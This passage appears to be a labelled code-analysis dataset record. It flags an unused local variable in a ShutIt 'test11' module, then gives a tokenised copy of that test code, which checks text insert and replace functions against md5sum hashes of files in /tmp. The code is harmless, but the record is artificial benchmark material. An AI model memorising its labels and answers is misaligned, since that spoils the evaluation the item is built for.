failed')\n\t\t#shutit.replace_text('''a new line2''',fname,'''a new line2''')\n\t\t#if shutit.send_and_get_output('md5sum ' + fname) != '14b694054d4f5908ab7a96789d2c9451 ' + fname:\n\t\t#\tshutit.fail('test ' + fname + '.3 failed')\n\t\t#shutit.replace_text('''just spaces, and just tablets''',fname,'''and just tabs''')\n\t\t#if shutit.send_and_get_output('md5sum ' + fname) != '81a023611fb684823f2998ce97da5a23 ' + fname:\n\t\t#\tshutit.fail('test ' + fname + '.4 failed')\n\t\t#shutit.replace_text('''just spaces, and just tabs''',fname,'''and just tablets''')\n\t\t#if shutit.send_and_get_output('md5sum ' + fname) != '14b694054d4f5908ab7a96789d2c9451 ' + fname:\n\t\t#\tshutit.fail('test ' + fname + '.5 failed')\n\t\treturn True", "metadata": "root.test11.build", "header": "['class', 'test11', '(', 'ShutItModule', ')', ':', '___EOS___']", "index": 4 } ]
[ { "span": "file_text ", "start_line": 189, "start_column": 2, "end_line": 189, "end_column": 11 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "test", "11_", "(_", "Shut", "It", "Module_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "def_", "build_", "(_", "self_", ",_", "shutit", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "###", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "NON", "-", "LINE", "-", "ORIE", "NT", "ED", " ", "TESTS_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "###", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "simple", " ", "insert", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "shutit", "_", "._", "send_", "(_", "'", "cat", " ", ">", " ", "/", "tmp", "/", "a", " ", "<<", "<", " ", "\"", "a", "\"'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "shutit", "_", "._", "insert", "\\u", "text_", "(_", "'''", "\\", "10", ";", "b", "\\", "10", ";", "c", "\\", "10", ";", "d", "'''_", ",_", "'/", "tmp", "/", "a", "'_", ",_", "'", "a", "'_", ",_", "line", "\\u", "orient", "ed_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "shutit", "_", "._", "send", "\\u", "and", "\\u", "get", "\\u", "output_", "(_", "'", "md5sum", " ", "/", "tmp", "/", "a", "'_", ")_", "!=_", "'", "4", "7e", "ce", "2e", "4", "9e", "5c", "033", "367", "7f", "c3", "4e", "044", "d8", "257", " ", " ", "/", "tmp", "/", "a", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "shutit", "_", "._", "fail_", "(_", "'", "test", "11.", "1", " ", "fail", "ed", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "simple", " ", "insert", " ", "with", " ", "regexp_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "shutit", "_", "._", "send_", "(_", "'", "cat", " ", ">", " ", "/", "tmp", "/", "a", " ", "<<", "<", " ", "\"", "abcde", "\"'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "shutit", "_", "._", "insert", "\\u", "text_", "(_", "'''", "\\", "10", ";", "b", "\\", "10", ";", "c", "\\", "10", ";", "d", "'''_", ",_", "'/", "tmp", "/", "a", "'_", ",_", "'", "b", ".", "d", "'_", ",_", "line", "\\u", "orient", "ed_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "shutit", "_", "._", "send", "\\u", "and", "\\u", "get", "\\u", "output_", "(_", "'", "md5sum", " ", "/", "tmp", "/", "a", "'_", ")_", "!=_", "'", "f0", "13", "d5", "d6", "3", "8b", "770", "d1", "6", "6b", "e", "6a", "9", "d1", "f5", "8", "2b", "7", "3", " ", " ", "/", "tmp", "/", "a", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "shutit", "_", "._", "fail_", "(_", "'", "test", "11.", "2", " ", "fail", "ed", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Insert", " ", "to", " ", "non", "-", "existen", "t", " ", "line", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "shutit", "_", "._", "send_", "(_", "'", "cat", " ", ">", " ", "/", "tmp", "/", "a", " ", "<<", "<", " ", "\"", "a", "\"'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "shutit", "_", "._", "insert", "\\u", "text_", "(_", "'''", "\\", "10", ";", "b", "\\", "10", ";", "c", "\\", "10", ";", "d", "\\", "10", ";", "e", "'''_", ",_", "'/", "tmp", "/", "a", "'_", ",_", "'", "^", "asf", "asf", "a", "$'_", ",_", "line", "\\u", "orient", "ed_", "=_", "False_", ")_", "!=_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "shutit", "_", "._", "fail_", "(_", "'", "test", "11.", "3", " ", "fail", "ed", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Insert", " ", "text", " ", "before_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "shutit", "_", "._", "send", "\\u", "file_", "(_", "'/", "tmp", "/", "a", "'_", ",_", "\"\"\"", "a", "\\", "10", ";", "d", "\"\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "shutit", "_", "._", "insert", "\\u", "text_", "(_", "'''", "b", "\\", "10", ";", "c", "\\", "10", ";'", "''_", ",_", "'/", "tmp", "/", "a", "'_", ",_", "'", "d", "'_", ",_", "before_", "=_", "True_", ",_", "line", "\\u", "orient", "ed_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "shutit", "_", "._", "send", "\\u", "and", "\\u", "get", "\\u", "output_", "(_", "'", "md5sum", " ", "/", "tmp", "/", "a", "'_", ")_", "!=_", "'", "ae", "deb", "9", "f7", "ddf", "7", "6f", "457", "4", "7f", "e5", "f7", "f6", "d2", "11", "dd", " ", " ", "/", "tmp", "/", "a", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "shutit", "_", "._", "fail_", "(_", "'", "test", "11.", "4", " ", "fail", "ed", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "simple", " ", "insert", " ", "to", " ", "end_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "shutit", "_", "._", "send_", "(_", "'", "cat", " ", ">", " ", "/", "tmp", "/", "a", " ", "<<", "<", " ", "\"", "a", "\"'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "shutit", "_", "._", "insert", "\\u", "text_", "(_", "'''", "b", "\\", "10", ";", "c", "\\", "10", ";", "d", "\\", "10", ";'", "''_", ",_", "'/", "tmp", "/", "a", "'_", ",_", "line", "\\u", "orient", "ed_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "shutit", "_", "._", "send", "\\u", "and", "\\u", "get", "\\u", "output_", "(_", "'", "md5sum", " ", "/", "tmp", "/", "a", "'_", ")_", "!=_", "'", "4", "7e", "ce", "2e", "4", "9e", "5c", "033", "367", "7f", "c3", "4e", "044", "d8", "257", " ", " ", "/", "tmp", "/", "a", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "shutit", "_", "._", "fail_", "(_", "'", "test", "11.", "5", " ", "fail", "ed", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "simple", " ", "replace_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "shutit", "_", "._", "send_", "(_", "'", "cat", " ", ">", " ", "/", "tmp", "/", "11.6", " ", "<<", "<", " ", "\"", "a", "\"'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "shutit", "_", "._", "replace", "\\u", "text_", "(_", "'''", "b", "\\", "10", ";", "c", "\\", "10", ";", "d", "\\", "10", ";'", "''_", ",_", "'/", "tmp", "/", "11.6", "'_", ",_", "'", "^", "a", "$'_", ",_", "line", "\\u", "orient", "ed_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "shutit", "_", "._", "send", "\\u", "and", "\\u", "get", "\\u", "output_", "(_", "'", "md5sum", " ", "/", "tmp", "/", "11.6", "'_", ")_", "!=_", "'", "4e", "392", "c1", "050", "8f", "911", "b8", "110", "b5", "ee", "5f", "3e", "5c", "7", "6", " ", " ", "/", "tmp", "/", "11.6", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "shutit", "_", "._", "fail_", "(_", "'", "test", "11.6", " ", "fail", "ed", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "simple", " ", "replace", " ", "with", " ", "non", "-", "matchi", "ng", " ", "pattern_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "shutit", "_", "._", "send_", "(_", "'", "cat", " ", ">", " ", "/", "tmp", "/", "11.", "7", " ", "<<", "<", " ", "\"", "a", "\"'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "shutit", "_", "._", "replace", "\\u", "text_", "(_", "'''", "b", "\\", "10", ";", "c", "\\", "10", ";", "d", "\\", "10", ";'", "''_", ",_", "'/", "tmp", "/", "11.", "7", "'_", ",_", "'", "will", "not", "match", "'_", ",_", "line", "\\u", "orient", "ed_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "shutit", "_", "._", "send", "\\u", "and", "\\u", "get", "\\u", "output_", "(_", "'", "md5sum", " ", "/", "tmp", "/", "11.", "7", "'_", ")_", "!=_", "'", "4", "7e", "ce", "2e", "4", "9e", "5c", "033", "367", "7f", "c3", "4e", "044", "d8", "257", " ", " ", "/", "tmp", "/", "11.", "7", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "shutit", "_", "._", "fail_", "(_", "'", "test", "11.", "7", " ", "fail", "ed", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "###", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "LINE", " ", "ORIE", "NT", "ED", " ", "TESTS_", "\\u\\u\\uNL\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "###", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "simple", " ", "insert", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "shutit", "_", "._", "send_", "(_", "'", "cat", " ", ">", " ", "/", "tmp", "/", "a", " ", "<<", "<", " ", "\"", "a", "\"'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "shutit", "_", "._", "insert", "\\u", "text_", "(_", "'''", "b", "\\", "10", ";", "c", "\\", "10", ";", "d", "'''_", ",_", "'/", "tmp", "/", "a", "'_", ",_", "'", "a", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "shutit", "_", "._", "send", "\\u", "and", "\\u", "get", "\\u", "output_", "(_", "'", "md5sum", " ", "/", "tmp", "/", "a", "'_", ")_", "!=_", "'", "4", "7e", "ce", "2e", "4", "9e", "5c", "033", "367", "7f", "c3", "4e", "044", "d8", "257", " ", " ", "/", "tmp", "/", "a", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "shutit", "_", "._", "fail_", "(_", "'", "test", "11.", "1.1", " ", "fail", "ed", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "simple", " ", "insert", " ", "with", " ", "regexp_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "shutit", "_", "._", "send_", "(_", "'", "cat", " ", ">", " ", "/", "tmp", "/", "a", " ", "<<", "<", " ", "\"", "abcde", "\"'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "shutit", "_", "._", "insert", "\\u", "text_", "(_", "'''", "b", "\\", "10", ";", "c", "\\", "10", ";", "d", "'''_", ",_", "'/", "tmp", "/", "a", "'_", ",_", "'", "b", ".", "d", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "shutit", "_", "._", "send", "\\u", "and", "\\u", "get", "\\u", "output_", "(_", "'", "md5sum", " ", "/", "tmp", "/", "a", "'_", ")_", "!=_", "'", "fd", "550", "576", "407", "0e", "e3", "1", "8d", "0", "8b", "5c", "a0", "3b", "460", "7", "5", " ", " ", "/", "tmp", "/", "a", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "shutit", "_", "._", "fail_", "(_", "'", "test", "11.", "1.2", " ", "fail", "ed", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Insert", " ", "to", " ", "non", "-", "existen", "t", " ", "line", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "shutit", "_", "._", "send_", "(_", "'", "cat", " ", ">", " ", "/", "tmp", "/", "a", " ", "<<", "<", " ", "\"", "a", "\"'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "shutit", "_", "._", "insert", "\\u", "text_", "(_", "'''", "b", "\\", "10", ";", "c", "\\", "10", ";", "d", "\\", "10", ";", "e", "'''_", ",_", "'/", "tmp", "/", "a", "'_", ",_", "'", "^", "asf", "asf", "a", "$'_", ")_", "!=_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "shutit", "_", "._", "fail_", "(_", "'", "test", "11.", "4.2", " ", "fail", "ed", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Insert", " ", "text", " ", "before_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "shutit", "_", "._", "send", "\\u", "file_", "(_", "'/", "tmp", "/", "a", "'_", ",_", "\"\"\"", "a", "\\", "10", ";", "d", "\"\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "shutit", "_", "._", "insert", "\\u", "text_", "(_", "'''", "b", "\\", "10", ";", "c", "'''_", ",_", "'/", "tmp", "/", "a", "'_", ",_", "'", "^", "d", "$'_", ",_", "before_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "shutit", "_", "._", "send", "\\u", "and", "\\u", "get", "\\u", "output_", "(_", "'", "md5sum", " ", "/", "tmp", "/", "a", "'_", ")_", "!=_", "'", "ae", "deb", "9", "f7", "ddf", "7", "6f", "457", "4", "7f", "e5", "f7", "f6", "d2", "11", "dd", " ", " ", "/", "tmp", "/", "a", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "shutit", "_", "._", "fail_", "(_", "'", "test", "11.", "5.2", " ", "fail", "ed", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "simple", " ", "insert", " ", "to", " ", "end_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "shutit", "_", "._", "send_", "(_", "'", "cat", " ", ">", " ", "/", "tmp", "/", "a", " ", "<<", "<", " ", "\"", "a", "\"'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "shutit", "_", "._", "insert", "\\u", "text_", "(_", "'''", "b", "\\", "10", ";", "c", "\\", "10", ";", "d", "'''_", ",_", "'/", "tmp", "/", "a", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "shutit", "_", "._", "send", "\\u", "and", "\\u", "get", "\\u", "output_", "(_", "'", "md5sum", " ", "/", "tmp", "/", "a", "'_", ")_", "!=_", "'", "4", "7e", "ce", "2e", "4", "9e", "5c", "033", "367", "7f", "c3", "4e", "044", "d8", "257", " ", " ", "/", "tmp", "/", "a", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "shutit", "_", "._", "fail_", "(_", "'", "test", "11.6", ".2", " ", "fail", "ed", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "simple", " ", "replace_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "shutit", "_", "._", "send_", "(_", "'", "cat", " ", ">", " ", "/", "tmp", "/", "11.", "7", " ", "<<", "<", " ", "\"", "a", "\"'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "shutit", "_", "._", "replace", "\\u", "text_", "(_", "'''", "b", "\\", "10", ";", "c", "\\", "10", ";", "d", "'''_", ",_", "'/", "tmp", "/", "11.", "7", "'_", ",_", "'", "^", "a", "$'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "shutit", "_", "._", "send", "\\u", "and", "\\u", "get", "\\u", "output_", "(_", "'", "md5sum", " ", "/", "tmp", "/", "a", "'_", ")_", "!=_", "'", "4", "7e", "ce", "2e", "4", "9e", "5c", "033", "367", "7f", "c3", "4e", "044", "d8", "257", " ", " ", "/", "tmp", "/", "a", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "shutit", "_", "._", "fail_", "(_", "'", "test", "11.", "7.2", " ", "fail", "ed", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "simple", " ", "replace", " ", "with", " ", "non", "-", "matchi", "ng", " ", "pattern_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "shutit", "_", "._", "send_", "(_", "'", "cat", " ", ">", " ", "/", "tmp", "/", "11.", "8", " ", "<<", "<", " ", "\"", "a", "\"'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "shutit", "_", "._", "replace", "\\u", "text_", "(_", "'''", "b", "\\", "10", ";", "c", "\\", "10", ";", "d", "'''_", ",_", "'/", "tmp", "/", "11.", "8", "'_", ",_", "'", "will", "not", "match", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "shutit", "_", "._", "send", "\\u", "and", "\\u", "get", "\\u", "output_", "(_", "'", "md5sum", " ", "/", "tmp", "/", "11.", "8", "'_", ")_", "!=_", "'", "4", "7e", "ce", "2e", "4", "9e", "5c", "033", "367", "7f", "c3", "4e", "044", "d8", "257", " ", " ", "/", "tmp", "/", "11.", "8", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "shutit", "_", "._", "fail_", "(_", "'", "test", "11.", "8.2", " ", "fail", "ed", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "double", " ", "send_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "shutit", "_", "._", "send_", "(_", "'''", "cat", " ", ">", " ", "/", "tmp", "/", "11.", "9", " ", "<<", " ", "END", "\\", "10", ";", "a", " ", "line", "\\", "10", ";", "anot", "her", " ", "line", "\\", "10", ";", "END", "'''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "shutit", "_", "._", "replace", "\\u", "text_", "(_", "'", "a", " ", "new", " ", "line", "'_", ",_", "'/", "tmp", "/", "11.", "9", "'_", ",_", "'", "new", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "shutit", "_", "._", "replace", "\\u", "text_", "(_", "'", "a", " ", "new", " ", "line", "'_", ",_", "'/", "tmp", "/", "11.", "9", "'_", ",_", "'", "new", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "shutit", "_", "._", "send", "\\u", "and", "\\u", "get", "\\u", "output_", "(_", "'", "md5sum", " ", "/", "tmp", "/", "11.", "9", "'_", ")_", "!=_", "'", "a9", "cac", "a3", "131", "db", "4", "3f", "6e", "db", "241", "c8", "98", "d1", "ba", "6", "9", " ", " ", "/", "tmp", "/", "11.", "9", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "shutit", "_", "._", "fail_", "(_", "'", "test", "11.", "9.2", " ", "fail", "ed", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "replace", " ", "(", "append", "),", " ", "replace", ",", " ", "insert", ",", " ", "replace", ",", " ", "delete_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "shutit", "_", "._", "send_", "(_", "'''", "cat", " ", ">", " ", "/", "tmp", "/", "11.", "10", " ", "<<", " ", "END", "\\", "10", ";", "a", " ", "line", "\\", "10", ";", "anot", "her", " ", "line", "\\", "10", ";", "END", "'''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "shutit", "_", "._", "replace", "\\u", "text_", "(_", "'", "a", " ", "new", " ", "line", "'_", ",_", "'/", "tmp", "/", "11.", "10", "'_", ",_", "'", "new", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "shutit", "_", "._", "replace", "\\u", "text_", "(_", "'", "a", " ", "new", " ", "line", "'_", ",_", "'/", "tmp", "/", "11.", "10", "'_", ",_", "'", "new", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "shutit", "_", "._", "insert", "\\u", "text_", "(_", "'", "ye", "t", " ", "anot", "her", " ", "line", "'_", ",_", "'/", "tmp", "/", "11.", "10", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "shutit", "_", "._", "replace", "\\u", "text_", "(_", "'", "a", " ", "new", " ", "line", "'_", ",_", "'/", "tmp", "/", "11.", "10", "'_", ",_", "'", "new", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "shutit", "_", "._", "delete", "\\u", "text_", "(_", "'", "ye", "t", " ", "anot", "her", " ", "line", "'_", ",_", "'/", "tmp", "/", "11.", "10", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "shutit", "_", "._", "send", "\\u", "and", "\\u", "get", "\\u", "output_", "(_", "'", "md5sum", " ", "/", "tmp", "/", "11.", "10", "'_", ")_", "!=_", "'", "a9", "cac", "a3", "131", "db", "4", "3f", "6e", "db", "241", "c8", "98", "d1", "ba", "6", "9", " ", " ", "/", "tmp", "/", "11.", "10", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "shutit", "_", "._", "fail_", "(_", "'", "test", "11.", "10.2", " ", "fail", "ed", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "every", "thing", " ", "we", " ", "can", " ", "think", " ", "of_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "shutit", "_", "._", "send_", "(_", "'''", "cat", " ", ">", " ", "/", "tmp", "/", "11.", "11", " ", "<<", " ", "END", "\\", "10", ";", "first", " ", "line", "\\", "10", ";", "second", " ", "line", "\\", "10", ";", "fourth", " ", "line", "\\", "10", ";", "END", "'''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "shutit", "_", "._", "insert", "\\u", "text_", "(_", "'", "third", " ", "line", "'_", ",_", "'/", "tmp", "/", "11.", "11", "'_", ",_", "'", "^", "sec", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "shutit", "_", "._", "insert", "\\u", "text_", "(_", "'", "third", " ", "line", "'_", ",_", "'/", "tmp", "/", "11.", "11", "'_", ",_", "'", "second", " ", "line", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "shutit", "_", "._", "insert", "\\u", "text_", "(_", "'", "fift", "h", " ", "line", "'_", ",_", "'/", "tmp", "/", "11.", "11", "'_", ",_", "'", "fourth", " ", "line", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "shutit", "_", "._", "send", "\\u", "and", "\\u", "get", "\\u", "output_", "(_", "'", "md5sum", " ", "/", "tmp", "/", "11.", "11", "'_", ")_", "!=_", "'", "353", "8d", "04", "b1", "122", "5e", "e3", "426", "776", "786", "1c", "7e", "60", "c", " ", " ", "/", "tmp", "/", "11.", "11", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "shutit", "_", "._", "fail_", "(_", "'", "test", "11.", "11.", "2.1", " ", "fail", "ed", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "shutit", "_", "._", "replace", "\\u", "text_", "(_", "'", "fift", "h", " ", "line", "'_", ",_", "'/", "tmp", "/", "11.", "11", "'_", ",_", "'", "^", "fi", "f", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "shutit", "_", "._", "send", "\\u", "and", "\\u", "get", "\\u", "output_", "(_", "'", "md5sum", " ", "/", "tmp", "/", "11.", "11", "'_", ")_", "!=_", "'", "353", "8d", "04", "b1", "122", "5e", "e3", "426", "776", "786", "1c", "7e", "60", "c", " ", " ", "/", "tmp", "/", "11.", "11", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "shutit", "_", "._", "fail_", "(_", "'", "test", "11.", "11.", "2.2", " ", "fail", "ed", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "shutit", "_", "._", "replace", "\\u", "text_", "(_", "'", "third", " ", "line", "'_", ",_", "'/", "tmp", "/", "11.", "11", "'_", ",_", "'", "^", "thi", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "shutit", "_", "._", "send", "\\u", "and", "\\u", "get", "\\u", "output_", "(_", "'", "md5sum", " ", "/", "tmp", "/", "11.", "11", "'_", ")_", "!=_", "'", "353", "8d", "04", "b1", "122", "5e", "e3", "426", "776", "786", "1c", "7e", "60", "c", " ", " ", "/", "tmp", "/", "11.", "11", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "shutit", "_", "._", "fail_", "(_", "'", "test", "11.", "11.", "2.3", " ", "fail", "ed", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "shutit", "_", "._", "send_", "(_", "'''", "cat", " ", ">", " ", "/", "tmp", "/", "11.", "1", "2", " ", "<<", " ", "END", "\\", "10", ";", "$", "num", "\\u", "instance", "s", "=", "1", "\\", "10", ";", "END", "'''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "shutit", "_", "._", "replace", "\\u", "text_", "(_", "'$", "num", "\\u", "instance", "s", "=", "3", "'_", ",_", "'/", "tmp", "/", "11.", "1", "2", "'_", ",_", "'", "num", "\\u", "instance", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "shutit", "_", "._", "send", "\\u", "and", "\\u", "get", "\\u", "output_", "(_", "'", "md5sum", " ", "/", "tmp", "/", "11.", "1", "2", "'_", ")_", "!=_", "'", "dc", "86", "deb", "5d", "312", "f3", "3b", "f3", "cdb", "2a", "1c", "9", "5c", "2c", "8", "2", " ", " ", "/", "tmp", "/", "11.", "1", "2", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "shutit", "_", "._", "fail_", "(_", "'", "test", " ", 